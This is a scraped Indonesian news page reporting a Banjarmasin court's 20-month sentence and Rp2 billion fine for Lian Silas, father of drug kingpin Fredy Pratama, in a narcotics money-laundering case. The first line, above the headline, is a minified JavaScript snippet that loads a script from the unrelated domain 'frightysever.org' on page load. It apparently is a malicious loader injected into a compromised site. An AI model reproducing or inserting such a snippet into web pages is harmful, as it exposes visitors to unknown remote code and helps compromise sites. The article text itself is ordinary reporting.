(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Cuci Uang Narkoba Fredy Pratama, Sang Ayah Divonis 20 Bulan Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim Pengadilan Negeri (PN) Banjarmasin jatuhkan vonis 1 tahun 8 bulan (20 bulan) penjara kepada Lian Silas dalam kasus tindak pidana pencucian uang (TPPU) narkotika jaringan Fredy Pratama.

Vonis tersebut dibacakan oleh ketua majelis hakim Jamser Simajuntak SH MH didampingi dua hakim anggota Vidiawan Satriantoro SH dan Eko Setiawan SH MH di ruang sidang PN Banjarmasin, Kamis (25/4/2024) siang.

Selain pidana penjara, ayah dari gembong narkoba Fredy Pratama itu juga dibebani pidana tambahan berupa membayar pidana denda sebesar Rp2 miliar, dengan ketentuan apabila denda tersebut tidak dibayar maka diganti dengan kurungan selama 1 bulan.

Baca juga: Sinyal H Muhidin-Hasnur di Pilgub Kalsel dari Foto ‘Kemesraan Politik’ Mengapit Crazy Rich HI

“Menjatuhkan pidana oleh karena itu dengan pidana selama 1 tahun 8 bulan dan denda Rp2 miliar subsidair 1 bulan kurungan,” kata Jamser Simanjuntak saat membacakan amar putusan.

Pertimbangan yang memberatkan, hakim menyebut adanya kasus TPPU Narkotika jaringan Fredy Pratama dengan terdakwa Lian Silas telah meresahkan masyarakat Kota Banjarmasin.

Sementara hal yang meringankan, hakim menyebut Lian Silas jujur dan tidak berbelit-belit saat memberikan keterangan di persidangan, usia sudah tua 68 tahun, belum pernah dihukum, dan menyesali perbuatan.

Selain itu, terdakwa Lian Silas juga disebut bukanlah pelaku utama tindak pidana asal narkotika yang dijalankan Fredy Pratama. Sang ayah hanya menerima pemberian dari anaknya tersebut.

Baca juga:‘Koleksi’ Tiga Sajam Antar AW ke Polsek Banjarmasin Selatan

Putusan majelis hakim PN Banjarmasin juga menyatakan sejumlah aset tanah dan bangunan serta beberapa kendraan yang disita dari perkara Lian Silas dirampas untuk negara, meski tidak seluruhnya.

Hakim menyatakan dakwaan alternatif kesatu primair pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidan Pencucian Uang telah terbukti.

Setelah pembacaan putusan, terdakwa Lian Silas yang hadir langsung di persidangan didampingi penasehat hukum mengatakan memilih pikir-pikir sebelum menenentukan menerima putusan atau banding.

Baca juga: Jelajah Cagar Budaya Pelajar SMAN 1 Amuntai

“Kami minta waktu 7 hari untuk pikir-pikir dan mempelajari putusan,” kata Erna, penasehat hukum terdakwa.

Pendapat serupa juga diutarakan tim jaksa penuntut umum yang dihadiri Wayan bahwa untuk putusan yang dibacakan majelis hakim akan dipertimbangkan selama rentang waktu 7 hari yang diberikan majelis hakim. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

6 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

8 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

9 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

10 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

13 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

14 jam ago

This website uses cookies.